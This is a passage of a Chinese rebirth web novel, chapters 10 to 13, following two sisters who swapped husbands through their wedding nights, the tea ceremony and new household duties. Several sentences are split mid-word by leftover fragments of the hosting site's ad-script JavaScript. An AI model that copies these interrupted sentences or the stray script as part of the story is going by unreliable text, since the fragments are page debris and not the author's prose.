宋峤倒是还挺高兴，一路上遇到的人听到驴叫都会驻足观望，有些性子豁达的还远远的祝贺他两句，他都腼腆地笑着回应。 最后在向雨嫣耐心耗完之前，迎亲队终于到了宋家。 当向雨嫣第一次踏上宋家门前石板的那一刻，她心里其实还挺激动和感慨的。 上一世她在宋家飘了很多年，门口的大石板，她无数次想要踩上去，但都做不到。 这一世，她，向雨嫣，终于做到了！ 大家伙不知道这迎回来的新妇为啥突然站在门口不走了，难道是对宋家有啥不满意吗？大家看了看宋家已经破败的小三间，又才默默地共情了一把这个从向家村嫁过来的新媳妇。 向雨嫣根本不知道大家的想法，就呆呆地站着发呆，还好有媒人见状上去的扶着拉了一把，这才把沉浸在回忆中的向雨嫣拉回现实。 向雨嫣也没有再停住，抬步进了宋家的大门。 宋峤给向雨嫣揭了盖头以后，虽然被向雨嫣那一脸热花了的妆吓到了，但还是快速调整了表情，然后温声细语地喊了句：“这一路辛苦了。” 向雨嫣做出日常娇弱的模样，挂着浅笑地回道：“你今日也辛苦了。” 媒人见两人气氛融洽，又递了两个杯子过去，两人喝“合卺酒”。 谁知向雨嫣却突然噗地全吐了出来，眉头紧皱连声质问道：“怎么回事？怎么是凉水？” 宋峤被她突然的质问弄得呆愣当场。 媒人赶紧给向雨嫣使眼色，奈何向雨嫣窝了一肚子气，压根不看。 宋峤压下心头火，但毕竟年纪还小，悲愤的脸色也没隐藏，冷声说道：“家母刚刚过世，我们得守孝。” 向雨嫣突然反应过来，也知道自己刚刚的行为有多伤人。 为了以后的好日子，她立刻换了表情，一脸哀戚地说：“是我的错，光是想着今日是你我成亲的大日子，心里欢喜得紧，竟忘了这茬，峤郎你别生气，我以后定然不会了。” 宋峤见向雨嫣这么快认错，今日也确实是两人新婚大喜之日，她作为初嫁新家的新嫁娘一时没想到，也是情有可原的。 只是这“合卺酒”终是没喝成，却也成了遗憾。 此时的宋峤却不知上一世的他，在跟各房小妾浓情蜜意时，又被挽着喝了多少次“合卺酒”…… 大概因为宋家的寡母刚去世，宋家这边的喜宴就弄得很简陋，几个帮忙迎亲的亲朋在宋家随便吃了点东 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 西就走了，没有酒水，更没有闹洞房。 平时家里的活儿宋峤是不干的，还好这次来帮忙的伯娘姨孃们手脚勤快，把锅碗瓢盆、桌椅板凳都收拾干净了才走。 到了傍晚，吃了些剩菜作为夕食后，向雨嫣对着破败的屋子很是嫌弃地冲了澡。 宋峤为了讨好她，就拿了件他的旧衣服给她搓头发。 向雨嫣心不在焉地坐在那里，任由宋峤服侍，脑子里却想的上一世，妹妹向雨涵到底是怎么在这样的家里生活下去的呢？ 宋峤搓得手都酸了，向雨嫣也没和他说一句体谅话。 不由得暗中心想：如果母亲如果还在就好了，她最看不得他干活了，而且还时常会对他说“我的乖儿这双手可是拿笔杆子的，可不能做那些庄稼汉干的活儿”。 宋峤一想到才去世的母亲，眼泪就忍不住地流。 等向雨嫣回过神来，扭头看到的就是一个豆芽菜一样的少年，看着他手里的旧衣服哭得冒鼻涕泡。 向雨嫣大惊：“你，你这是怎么了？” 宋峤见向雨嫣终于想起来关心他，吸了吸鼻子，看着手里的旧衣服说：“这件棉布长衫还是我母亲当初给我缝制的呢，我……真的……好想念母亲。”说着又哽咽了起来。 向雨嫣被他这么一哭，就去陪嫁的小木箱里翻出手帕来递给宋峤。 宋峤擦了鼻涕眼泪，眼睛红红的看着向雨嫣，小脸上全是依赖的神情。 他坐在向雨嫣身边就是一靠，然后深情地说：“姐姐，母亲她抛下我了，以后你就是我唯一的依靠了。姐姐你放心，等我考上功名，我一定会让你过上好日子的！” 向雨嫣不知道她妹妹向雨涵上一世，也是这么被宋峤忽悠，刚嫁进来就为了他不辞劳苦地操持起所有家务。 但是她却知道宋峤日后会有大出息，所以听了这话心里也生了几分雄心壮志。 向雨涵嫁过来都能把日子过好了，她向雨嫣就一定能把日子过得更好！ “放心吧，峤郎！我们一起努力，家里的日子定会好起来的！” 宋峤见向雨嫣如此有信心，心里也松了一口气。 其实他还真的挺担心家里现在这个情况，会把刚娶进门的新媳妇吓跑的。 把刚刚擦了脸的帕子塞到怀里，宋峤又温柔地说道：“姐姐先歇会吧，以后这个家就靠姐姐操持了。” 向雨嫣虽然觉得宋峤一直叫她姐姐有点奇怪，但对方比她本来就小两岁，如今个子也还没长起来，也就没有去纠正，只是安安心心地躺下了。 宋峤看她睡下，就拿着油灯有些不好意思地说：“姐姐生的貌美，但我们得为母亲守孝三年，所以以后我们就分房睡，这样我也能更为专心地读书，你说好吗？” 向雨嫣听他夸她貌美，心里还挺得意。 她知道守孝不能同房，加上上一世她也通过人事，看着面前如同小鸡崽一样的宋峤还提不起兴致，也就没有强求他留下，大方地同意了。 宋峤见她同意，心里也松了一口气。 母亲临走时叮嘱过他，这些年家里没把他养好，如果过早泄了精元，他的身体就会变得更差，别说考功名了，小命都会不保。 反正他如今年纪也还不算大，等以后有钱有势，无后顾之忧了，再补这洞房花烛也不是不行。 只是愧对母亲，她为了他，这么多年都吃苦受累，竟那么早早地就去了。 希望母亲在天之灵保佑他三年后一定考中，此后一路顺遂吧。 想到这里，宋峤掏出怀里的帕子，又擤了鼻涕眼泪。 10.洞房 向雨嫣那边倒是早早的就眯着了，向雨涵则靠坐在新床上有点忐忑。 上一世为了给宋峤他娘守孝，成亲之后两人就没同过房。 后来出了孝期，向雨涵为了做买卖忙的脚不沾地，宋峤考上了秀才也更加用功苦读，希望能早日中举，两人依然没有同房……。 再后来宋峤发达了，他又觉得外面的女子年轻貌美，向雨涵跟那些女子比起来简直就跟个老妈子一样。 特别是她一双手糙得能把他穿的绸服刮勾丝，心里哪怕再怎么有火，看着她那张染了沧桑的脸都能灭了。 后来宋峤就请回来一名大夫，那大夫说她早些年身体受寒亏损的厉害，无法孕育子嗣。 刚开始她以为是真的，也就对宋峤往家里抬小妾睁一只眼闭一只眼。 直到后来那些个小妾蹬鼻子上脸骂她不会生，她才憋着一口气，去聘请了一位大夫进府当府医。 那老府医在得知她的情况把了脉，然后一脸为难地纠结了半天，最后还是把结果告诉了她。 原来！她身体虽然确实有些受寒且亏损，但还并不到会影响子嗣的地步。 向雨涵当时呆坐了半晌，谁也不知道她想了些什么。 只是最后她果断的交出手里的事务，也以不能为宋家开枝散叶辜负宋家先祖为由，说要为以后的宋家子嗣祈福而搬进佛堂。 当然佛堂是后来才布置的。 那原本就是一间院子，向雨涵还请人打了井，改建了小厨房，并在院子外侧还开了小后门。 宋峤当时本来是不答应的，但向雨涵当时心意已决，再有美貌黏人的小妾拿到管家的权力后痴缠他，最后慢慢的也就不再过问了。 向雨涵的后半辈子，在她能力范围内过得还不错。 而且反正他俩也和离不了，再加上自己早些年的付出，她也不可能放弃这“宋夫人”的好日子，再回老家去被人看笑话。 宋峤的那些妾室抬得多，也生了不少儿女，每次他想把他看中的儿子记在嫡母名下时，他就会带着孩子来佛堂看她。 她看到那些孩子，心里没有一点波澜，虽然她不能生育自己的孩子，她对别人的孩子也不感兴趣，所以一个都没同意。 让那些觊觎她正妻位置的人都恨的牙牙痒，但她的衣食住行都全靠自己，小院一关，谁也别想招惹她。 而且她也时不时出去与人交际，宋峤也在其中得了不少实惠，所以但也没敢做出“杀妻腾位”之事。 只是上一世，直到她闭眼的那一刻，她都还是一个清清白白的女子…… 向雨涵望着桌子上滴泪的红烛有些烦恼，哪怕有多活一世的经验，一想到等会她即将面对的事情，心里还是没由来的烦躁不安。 东方晋之前出去后又被人拉着喝了酒，又灌了醒酒汤，人清醒后就躲了起来，直到晚膳时间才出现，吃了饭又去书房那边清洗掉了酒味才回来的。 向雨涵听到推门声吓了一跳，然后就看到东方晋那高大的身影，顿时觉得压迫感十足。 东方晋此时大脑也还算清醒，看到向雨涵还坐着没动，看着他的眼神里全是防备，他也没着急，而是拉了一个凳子，隔了一丈远距离坐下。 “夫人可曾用过晚膳了？可还合胃口？”东方晋笑着地问道。 向雨涵一眼就看出对方是想缓和气氛，而自己如今这一世也已经嫁入了东方家，一时间也没有比这更好的出路，便也只能顺着应答。 “小暑送来吃过了，味道很好。” 东方晋见她愿意跟自己说话，心里略微松了一口气。 他又道：“我知你我婚事操办得有些匆忙，屋里若是你有什么不喜欢的，都可以吩咐大暑、小暑去布置。” 刚说完他就起身去到衣柜边上，打开衣柜，从里面抱出一个木匣子，放在床沿上，又摸出一串钥匙来，挑出一把去把木匣子上的锁打开了。 向雨涵没有说话，只是有些狐疑地看着东方晋从匣子里拿东西的动作，不知道他要干什么。 东方晋先是拿出最上面的一个厚厚的信封，然后从里面抽出了几十张宝钞。 “这里有几千贯的宝钞，是我从小到大过年过节长辈给的，还有一些是参加比试和跟好友……咳咳，打赌赢了攒下的。” 原本面上还算淡定的向雨涵，在看到宝钞，再听到东方晋说出那“几千贯”的时候眼睛忽然就亮了起来。 要知道一贯就是一两银子，农户人家一年也不过一贯的开销而已。 几千贯啊！东方晋就这么突然给了她，怎么能不惊喜呢？ 东方晋看向雨涵状态不似之前那般拘谨，就把宝钞连带信封都递给她，又拿出下面一个信封打开。 “这里面是地契和身契，里面有两个庄子、五家铺子，还有大暑、小暑以及平时陪我出门小厮立秋的身契。我平时不喜太多人伺候，所以手头就只有这三人。”说完，他又装好递给了向雨涵。 向雨涵听到除了宝钞还有庄子、铺子，立刻就顺手接了过去。 仔细一看，庄子有一个是县城北边叫大石村的地方，另一个则不像是在本地，而是在一个叫海州的地方。 还好铺子都是在起云县里，主城道上有两家，其余三家分布在不同的街道上。主城道那两家下面还有红契和税契，应该是出租出去了。 身契也就是卖身契，大暑小暑的都是十年的活契，立秋则是家生子的死契，应该是一家子都卖身在这里。 除了这些，木匣子最低下还有十多片金叶子，几十个大小不一的银锭，以及一个装着珍珠的荷包。 东方晋把这些都一一展示给向雨涵看，等她看完后，又把手里的钥匙都给她。 “夫人，这些就是我所有的身家了，今日你我既然已经结为夫妇，它们都理应交给你保管了。” 说着他又解下腰间的荷包，翻出几锭碎银些许铜板，抿着唇作委屈状，“我身上就只留了这些，再没其他的了。” 向雨涵心里一盘算，光是东方晋交给她的这些都完全抵得上一个地主老爷的身家了，而且从这半天了解下来，看他倒也不像是什么奸猾之人，身上留那点银子日常 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 花销倒也不过分。 再有就是，这天底下有几个女子一嫁进门，夫君就把自己所有家底子都交出来的呀？ 就连一穷二白的宋峤，也是成婚第二天才把家里柴盐油米、锁头钥匙交给她的呢！ 这样对比起来，向雨涵抛开前世的事不说，她对东方晋的印象一下就大好了起来。 至于前面他说到的“跟好友打赌赢”钱的事，以后他的钱都在她手里管着，根本不可能让他再拿去赌。 上一世她那么拼了命地赚钱，后来住进佛堂后也还打着宋峤的旗号经营了两家铺子，也才攒下了一点足够她在京城安身立命的身家。 如今，不过是嫁给东方晋，似乎一切就都有了！ 转念一想，也难怪当初向雨嫣会跟她换亲了，若是那时她知道嫁给东方晋会有这么大的好处，想必应该也不会脑抽嫁给宋峤那白眼狼吧？ 向雨涵越想越觉得自己上一世亏大了。 至于向雨嫣的死……这一世她耳清目明，倒是也想看看到底是怎么回事。 “夫人，以后就辛苦你了。” “这样的‘辛苦’我乐意，你要是再多给的也不是不行。”向雨涵得了钱财心情大好，把东西重新放好锁起来，把匣子重新放了回去。 “那如今为夫都如此坦诚相待了，夫人是不是也可以放心与我一同安歇了？” 东方晋嘴上说着从别处听来的浪荡话，心里却紧张得要命。 向雨涵则轻瞟了他一眼，想着上一世嫁了人没同成房，这一世总得开开荤，于是心一横，就对东方晋说道：“你且等我换洗一番。” 东方晋连忙去吩咐人打水来，然后就踱着步子开始等。 直到看到他的新婚夫人入了屏风后的大澡桶，他才又慌慌张张地开始脱鞋脱衣，然后不怕热地整个人都钻进了薄被里去。 于是等到向雨涵洗漱完出来以后，她就看到床上鼓起了“一座山”。 她走近探头一看，嗨，还真是特别的无语了。 东方晋那家伙居然自己睡着了！ 还打着小呼噜！ 要不是听着呼噜声，向雨涵都不敢信对方是真睡着了。 她坐在床沿边，想着人家一大早就去迎亲，一堆繁琐的流程走完，还跟表妹打了一架，再然后又出去陪那些吃喜酒的客人，这一天下来还是挺累的吧。 再看了一眼那鼓起的薄被，她还是不忍心的把被子扯掉一半，然后就看到了东方晋那张熟睡的脸。 他也不过十八、九岁的年纪，肤色有些偏黑，头发又青又迷，两眉的间距不大，眉毛密而不乱，眉下一双丹凤眼眯着，他的山根略高，不太像是南方人的鼻形，嘴唇微厚，如果从面相上说，就是显得人很踏实耿直。 向雨涵忽然就想起宋峤的薄唇来。 果然是薄情寡义的狗东西！她在心里骂道。 东方晋额头上出了一层薄汗，向雨涵没用帕子去擦，而是拿起一把蒲扇，小心地翻上床，然后给自己扇着风，顺带给东方晋也带去了一丝风，不知不觉向雨涵也睡着了。 11.敬茶 第二日清晨，等向雨涵睁开眼时，东方晋已经不在床塌之上，她坐起身来，大脑已然完全清明，但整个人又很迷惘。 上一世她住在佛堂里，早上起来无事就看看书练练字，当然一般对外都是说抄的佛经。 这一世，回到还在娘家的时候，身体也重回了年轻时的精神，每天早上起来干家务，她觉得有事做就很安心。 如今又成了一次婚，嫁到了完全陌生的环境里，虽然没有对未知生活的惧怕，但是一时间还真不知道要做些什么。 正出神地想着，房门就被推开，小暑端着一盆水走了进来。 “三少夫人，奴婢来伺候你梳洗了。” 向雨涵上一世当了官夫人之后也买了人，衣食住行都有人伺候，但也不觉局促，自然而然的接过了小暑递过来已经打湿拧好的帕子擦脸，而后又换了衣柜里备好的衣衫，坐到梳妆镜前，看着小暑麻利地给她绾上妇人的发髻。 正要戴发饰的时候，拉开抽替便看到了那支金凤钗。 小暑犹豫着选了别的拿在手上，就听到向雨涵道：“就戴那支凤钗吧。” 小暑有些嫌弃地看了那金凤钗一眼，又有些一言难尽地看了看向雨涵，心想着这三少夫人刚进府，见识太少了，眼光不行啊。手上却没停，在发髻上找了个适合的位置插上了金凤钗。 都说人老成精，向雨涵从镜子里把小暑的表情都看在眼里，心里顿时也猜到了小姑娘的想法，但她并没有解释，而是打算今日戴了这金凤钗，以后就好好收起来。 果然，等到东方晋一身大汗地回来时，他一眼就看到了那支金凤钗，顿时笑得见牙不见眼。 向雨涵见他高兴，心里略微松了一口气。 虽然昨晚他把身家钱财交给了她，但是有上一世向雨嫣一条性命在前警示着，她也不敢松懈下来，万一这男人什么时候一言不合就打人，她一介女流之辈还真拼不过，所以她只能平时多观察和揣测这人的喜好，不去触他的霉头罢了。 东方晋刚回来，小暑也不用他吩咐，立马就跑了出去，仿佛屋里有吃人的野兽一般避之不及。 向雨涵见东方晋先是去床铺上翻找了了一番，然后又若无其事地去衣柜翻他的衣服，也就没管他。 不一会儿，大暑就摇摇晃晃提着两桶水进了院子。 东方晋见他提的吃力，大步过去伸出两手提着木桶就跨过门槛进屋去了屏风后，姿态十分轻松。 看得向雨涵心里又是一沉。 等东方晋洗漱完之后，一个穿着体面的仆妇在院门口就笑着喊道：“恭贺三少爷三少夫人新婚新禧。” 东方晋一边整理着新换的衣衫，一边笑着对那人说：“余嬷嬷今日怎的来啦？可是来催我这新媳妇去敬茶？” 余嬷嬷笑道：“可不是了，老爷夫人们都已经在正堂里等着呢。” “行，我们马上就去。”东方晋笑着去牵向雨涵的手，走到门口还提醒她注意门槛。 向雨涵忽然被他这么一牵，下意识地想要甩开，但又反应过来大家都正看着，又忍了下来，任由东方晋把她牵着领到了正堂里。 二人刚向屋里的人见完礼，余嬷嬷就捧着一个小匣子快步走到刘夫人身边，打开匣子给刘夫人看了一眼，然后就看到刘夫人脸上的笑容更甚了两分。 向雨涵心中大骇面上却不显，她微微扭头地快速看了东方晋一眼，东方晋偷偷地对她眨了眨眼，然后又一副无事发生的正经模样。 刘夫人对着余嬷嬷点了点头，余嬷嬷便吩咐着下人上茶。 夫妻二人依次地敬了茶，领了长辈、兄嫂的红包和祝福，又给子侄辈的孩子们发了红包。 昨天见过的表小姐也在，这次见她端庄地坐在一边，跟昨天动如脱兔的模样判若两人。 只是偷偷地朝她笑着眨了眨眼。 流程走完，一大群人便去了饭厅，分桌落座用早膳。 早膳用完后，东方晋陪着向雨涵回到他们住的院子，向雨涵直到这次回去才知道他们住的院子叫“竹松苑”。 回到房间后，向雨涵就给东方晋倒了杯茶，郑重地递过去，感激地说道：“早上的事，多谢你了！” 东方晋接过茶杯，脸上一红，有些不好意思地点点头，也不知道说些什么好，就一口把茶水喝掉了。 向雨涵见他喝茶这般“豪爽”，忍不住笑了一下。 “那床帷之事……” 还不等向雨涵说完，东方晋就摆手打断她，郑重其事地说道：“夫人大可放心，虽然你我已经成婚，但相处的时日尚浅。老话都说，强扭的瓜不甜，我虽不爱读书却也知‘水到渠成’的道理，此事你莫要有负担。” 东方晋话虽说的好听，但向雨涵也不是什么不知事的人，同样是男人，宋峤那白眼狼发达了可是抬了不少小妾，更别提东方晋身边还有她这么个名正言顺的妻。 男人可以管得住嘴，但不一定管得住那第三条腿。 东方晋信誓旦旦，但一到了晚上吹灯之后，刚躺下就闻到他身侧人传来的幽幽香味，他辗转反彻半宿，最后还是忍不住爬起身来，跳进满是凉水的浴桶里。 向雨涵也被他的动静惊醒，明白过来之后，也红着脸觉得好笑。 第二天等向雨涵醒过来时，东方晋又出去打拳练功去了，而且回来的时候比头一天还要晚一点。 一直陪着他的大暑都觉得纳闷，明明三少爷都已经成亲了，怎地练功比往日起的还早还要勤奋呢？ 难道是三少爷的身体…… 大暑忽然反应过来，警觉自己好像知道了自己不该知道的事。 而后又想，三少爷看着人高马大的，又才刚刚成亲，没想到身体居然出了这么个岔子，那以后子嗣想必也艰难，不由得看向东方晋的眼光都带了几分怜悯。 宋家，宋峤一早就起床念书。念了一段时间，似有所感，他又开始研墨，开始挥笔疾书。 他直到他肚子咕咕叫的厉害，才发现太阳已经快要挂在天空正中央。 正思忖着母亲临走前还掏空家底给自己娶的新妇，为何到这个时候还不来叫他用饭，就听闻到院 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门口有人在敲门。 “小峤，小峤，可在家？” 宋峤一听声音就知门外来的是族长家的大孙子宋辉贤，急忙出去开门。 “大哥怎地来了？” 虽然隔了几房，但从辈分年纪上称呼，宋辉贤与宋峤是同辈，只是岁数上人家要大他十多岁。 宋辉贤见宋峤在家好好呆着，自己放着活计又这么跑一趟，心中本有些不喜，但一想到他那寡母走的突然，也没有责备他的礼数，而是提醒道。 “今日是你娶了新妇第二日，怎地不去祠堂敬告祖宗，给新妇添写名字呢？” 宋峤经宋辉贤这么一提醒才恍然大悟，也知道自己理亏，连忙道歉。 “别说那些没用的话，我爷和叔爷他们都在祠堂等了你们好半天了！你一个读书人，连这些礼法都不遵从，若是传出去，那还有得好？赶紧叫上你那新妇快写去吧！” 宋辉贤也懒得在和他多说，转身就走。 宋峤却惊出一身冷汗，暗自懊悔自己怎么会将这么重要的事忘记，一边往卧房走一边懊悔着。 结果等他推开门却发现向雨嫣竟然还在床上躺着睡的正香，顿时觉得怒不可遏！ 他分明记得清楚，昨晚他是与她叮嘱清楚了的，以后家里一切事务都要靠她操持，当时她也是答应的好好的。 哪曾想这才娶进来的新妇，竟然懒惰至此！ 之前他也曾偷偷跑去过向家村打探，他明明看到的她不是这样的啊！ 她不是每日都很早起床去洗衣、打柴、种菜的吗？ 怎么进门第一天就变了个样了呢？ 向雨嫣本来睡得挺香的，但前面院子里的喊声以及宋峤推门进来的响声还是惊动了她，微微一睁眼，就看到宋峤皱着眉头紧盯着她的脸看。 她摸了摸脸，没有发现有什么不对劲，便哑着嗓子问：“夫君为何这般看我？” 难道是刚起床，还是没挡住她的美貌，从而起了色心？向雨嫣暗自窃喜地想。 要不是那老婆子刚死，宋峤那小身板看着还弱，她定要与他同盖大被，做些极为欢乐的事。 宋峤看她忽然眉眼间染了娇色，眉头皱得更紧。 心里也怀疑起来，难道自家是上当了？这向家女难道只是表面的勤劳纯良？实际上是个奸诈浪荡之人？ 否则怎会在成婚的第二天就立马不装了，对他露出本来面目？ 思及此，宋峤忽然觉得族谱还是先不上为妥。 于是他调整了一下自己的表情，温和地说：“快到午时了，姐姐想必也饿了吧？可惜书中有云‘君子远庖厨’，母亲从小就不让我学做饭，所以只能有劳姐姐快些起来了。” 向雨嫣一听到“做饭”两个字，忽然觉得天都塌了。 她上辈子或许小时候有帮忙她娘烧过火，但自从嫁给东方晋以后，都是过的衣来伸手饭来张口的日子，后来成了幽魂更不可能去做饭。 而如今听宋峤话里的意思，以后这个家里做饭的活儿都得是她的了，顿时觉得有些生无可恋起来。 12.新婚 无数的事实证明，人的潜力是无穷的。 向雨嫣就算是再生无可恋，她也得去往厨房做饭。 毕竟人肚子一旦饿了，面前就算是一把观音土，都有人会想办法煮来吃。 至少宋峤去了一趟祠堂后回来，望着面前饭食，顿时有些怀疑人生。 只见那粥色如水，稀得离谱，勺子舀起，几乎留不住几粒米，全是寡淡的清汤。 除此之外，一碗黑中带绿，绿中带焦的不知是什么菜，就那么大喇喇地放在桌子中央。 难道这向家女只擅长洗衣、种地？并不擅长厨艺？宋峤自我安慰地想。 然而向雨嫣吃了一口自己做的饭菜就吐了，宋峤还来不及做出反应，向语嫣又哭了起来。 “呜哇……我想回家，我想吃我娘做的饭。”说着她还伸出了自己的原本白嫩的左手，只见那手背上赫然有两道伤痕，而且指甲缝里面全是黑泥。 “你看看我的手，我的手伤了，呜哇，它还不干净了……” 宋峤这也是第一次遇到这种情况，一时间有些目瞪口呆，好半响才想起跑到房间里去拿出一小盒药膏来。 “那啥……姐姐你先别哭，我给你上药膏很快就会好的。” 宋峤此时完全忘了刚开始听到向雨嫣哭的第一声时，他心里的第一反应是，吃这么难吃的饭该哭的不应该是我吗？ 然而这一刻他完全不敢再说出口，只能安慰道：“明日我们就能回门了，姐姐你先别哭了。” 向雨嫣看着宋峤给她的手上药，虽然还有些抽抽搭搭的，但是心情也好了很多。 上完药，向雨嫣露出一副娇弱的模样问：“夫君可是嫌弃我了？”说着就往宋峤身上贴。 宋峤大惊失色地避开，守着孝呢，他可不敢有丝毫的越矩。 “怎会呢？你我夫妻本是一体，姐姐为我如此操劳，我感激还来不及呢。”说完，宋峤眼珠一转，叹气道，“只是我除了一身学问，竟身无分文，也不能给姐姐买着吃食果腹，是我太没用了。” 向雨嫣一看他这幅颓丧的模样，脑海里又浮现出他未来光鲜的模样，心下一横，就拿出一两银子来。 “夫君可别这么说，学问是顶顶重要的东西，以后你可是会做大官的人呢！这一两银子是我爹娘给我的陪嫁，夫君缺什么东西尽管拿去用就是。” 向雨嫣一脸肉痛地把银子递了过去，宋峤立刻就接了。 心想当初母亲给向家可是给了五两银子，没想到如今就才回来这一两，向家嫁女也有够抠门的，那媒人还说向家最是看中这个大女儿，如今看也不过如此。 宋峤拿着向雨嫣给的银子出去买吃食不谈。 东方家这边，向雨涵正跟东方晋逛着院子，计划把院子里的花草重新收拾一下，就见余嬷嬷带着人来了。 “三少爷，三少夫人万福。” “余嬷嬷带这么多人来，是有何事？”东方晋先开口问道。 向雨涵倒是先想明白了，就只是微笑着看着余嬷嬷。 果然，余嬷嬷笑着解释道：“回三少爷的话，夫人说三少爷以前不爱院里伺候的人多，就没正经安排丫鬟婆子，如今三少夫人进门，就得给院里按规矩把伺候的人安排上了。” 向雨涵之前本就觉得奇怪，东方晋一个明明很受宠的幺儿，怎么院子里伺候的人就两兄妹，不像别的富贵人家里有通房丫鬟吧，至少也得有几个粗使婆子才对。 而且上一世这人不是“爱喝嫖赌”样样精通吗？怎么这一世忽然就不一样了呢？ 东方晋听余嬷嬷这么一说，再一想觉得母亲安排的确实应当，他看大嫂二嫂每次出门身边都簇拥着一堆人，那排场看着就有大气，他夫人也不能少。 于是东方晋便朝余嬷嬷点了点头。 余嬷嬷会意，就站到向雨涵身边，朝着身后的人念道：“二等丫鬟两名。” 两个约摸十四五岁长相一般的丫鬟出列，嘴里喊着“三少夫人安”行了一礼，然后又稍微退到一边。 “粗使丫鬟四名。” 又四个约摸十一二岁的小丫鬟往前一步，行礼问安。 “粗使婆子四名。” 四个三四十岁的婆子神情不一地朝着向雨涵行了礼，其中一个笑眯眯的问安，另外三个要么没有笑容，要么笑容极浅。 向雨涵心中毫无波澜，也不觉得不笑的人就一定是不尊重她的，反而让她们做了自我介绍。 四个婆子都是自己的姓氏，分别是爱笑的刘嬷嬷，浅笑的安嬷嬷，不爱笑的邱嬷嬷和不爱笑还苦相的周嬷嬷。 六个丫鬟则需要向雨涵重新赐名。 向雨涵想着原来院里大暑小暑是按节气取的名字，这几个又是后来的，于是略一思索便说道：“两个二等丫鬟就叫‘白露、霜降’，四个小的就分别叫‘小雪、大雪、大寒、小寒’，咱不按时间排，大的是大雪和大寒，小的是小雪、小寒。” 几个丫鬟一下就明白了自己该叫什么名字，都又给向雨涵和东方晋磕头：“谢少爷少夫人赐名。” 后面的婆子们也跟着磕头，一起贺道：“祝少爷少夫人新婚吉祥，恩爱百年。” “甚好，甚好，以后咱们竹松苑也热闹起来了。”东方晋拍掌大笑，心里则是对众人的祝贺非常满意，笑完又道，“如今，少夫人已经入门，今后一切都要听命于少夫人，少夫人的命令便是我的命令，明白么？” 众人又齐齐地恭敬回应是。 “进去把抽替里的红包拿来分发给大家吧。”向雨涵柔声对小暑说道。 小暑会意，取了红包来，每人都得了红包，喜滋滋地道了谢，向雨涵便让她们安顿去了。 余嬷嬷送完了人，又对向雨涵道：“夫人那边还有请三少夫人过去一趟。” 向雨涵听说婆母叫她，正准备走，东方晋却也跟上了。 余嬷嬷却笑着拦下：“三少爷放心，夫人对三少夫人满意着呢。” 东方晋闻言也不敢再跟，只得目光追随 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着向雨涵出了院子去。 到了刘夫人院中，向雨涵先是行了礼才上前。刘夫人见她礼数周到完全不像是村里出来的女子，心里有几分诧异，但也没有多言。 亲热地笑着牵住向雨涵的手，一起坐下，然后问道：“雨涵啊，刚嫁过来可还习惯？” 向雨涵笑着回答：“多谢母亲关心，自是习惯的。” 刘夫人见她温顺贤良的模样，又抚了抚她头上的金凤钗，说道：“那就好，虽然这次婚事筹办的匆忙，但你可能不知阿晋却是极用心的。如今你已嫁进来叫我一声‘母亲’，那我自然就不瞒你，当初他来找我，说要定一位农户家的姑娘，我本是不放心的，我们东方家在起云县虽算不得第一的大户人家，但也算小有名气，更何况阿晋他祖父还是当朝的兵部尚书。” 向雨涵听着婆母的话，脑子里转得飞快。 上一世他见过兵部尚书的夫人，看着年纪不大，夫家也并不姓东方，所以也就是五年后的兵部尚书应该已经不是东方晋的祖父。 而上一世她和宋峤离开起云县时，东方家刚好落败，这其中是否也与这位兵部尚书有关呢？ 还不等向雨涵继续想下去，手背就又被婆母拍了一下，思绪完全被打断了。 “我的好儿媳啊，不是母亲我势力看不上你娘家，但是咱们这样有些家业的人家，若是随便娶个媳妇回来，还真的没法操持。你呢，本就是阿晋求来的，我与你公爹也是满意的，只是我们毕竟年纪一日比一日大，为了你和阿晋以后的好日子，管家的事务你势必都会才行。” 刘夫人说到这里，又朝旁边的一个穿着很是素净的嬷嬷看了一眼。 那位嬷嬷立刻上前屈膝行礼：“奴婢尹氏见过三少夫人。” “尹嬷嬷免礼。”向雨涵立刻笑着站起来会道。 刘夫人又把向雨涵拉着坐下，然后笑着介绍：“尹嬷嬷是我从我娘家带过来的管事嬷嬷，以前是专门管庄子上的事务的，她是个机灵的人，自己看书学了认字写字，以后就让她跟着你，阿晋名下的铺子庄子，就得你多用心管起来了。” 听到刘夫人这样说，向雨涵总算是明白叫她来这一趟的目的了。 若是上一世向雨涵对于这些，可能还会胆怯甚至推诿，但经历过给宋母守孝三年的时间，她早就跟着宋峤认了字，加之为了生计常年奔波，她也不是什么大门不出二门不迈不谙世事的小姑娘了。 听到刘夫人特意提了尹嬷嬷自学成才的事迹，也明白了这位婆母的良苦用心，于是连忙感谢：“都说父母之爱子，则为之计深远。雨涵感激母亲大恩，也请母亲放心，往后我一定会好好跟尹嬷嬷学习，争取早日将三房的事务管理稳妥。” “既如此，就从后日起，每日午后三刻，你就来我院中偏厅跟尹嬷嬷学习一段时日吧。” “劳母亲费心，多谢母亲，都听母亲安排。” 刘夫人见她通透且愿意学，心中大慰，两婆媳又拉着聊了几句，才放向雨涵回院子去。 13.回门 东方晋听向雨涵回来说，往后她就要去刘夫人院里学习认字、管事，不由得对向雨涵有些同情起来。 他虽读过几本书，字也都认识，但是那可是用他父亲手里多少根竹竿换来的。 每每想起曾经挨过的打，他都暗暗发誓，等他以后当了父亲，绝对不会那样打自己的孩子！ 只是让他没想到的是，他刚成亲，父亲还没当上，自己新娶的媳妇就要先去吃那学习的苦，这让他心里多少有些不是滋味。 “若是不喜欢，我去替你回了母亲吧！” 向雨涵闻言，连忙拦下：“不用，不用，认字是好事，母亲愿意费心找人教导我，这是母亲对我的看中，你可千万不要捣乱。” 东方晋满脸不可思议，但看到向雨涵认真的神情，忽然又有些敬佩。 “夫君你应该学问还不错吧？”向雨涵突然问。 “啊？啊……还，还行吧。”东方晋有些心虚地把手握成拳，放在嘴边虚咳了两声。 向雨涵心里觉得好笑，但不拆穿。 “那不如就由夫君来给我启个蒙吧，在咱们院子里你教我，去了母亲那边尹嬷嬷教我，这样我就能突飞猛进，用最短的时间把字都认了，就可以早点接手一些活儿，母亲那边也不用那么辛苦为我们操劳，你说怎么样？” 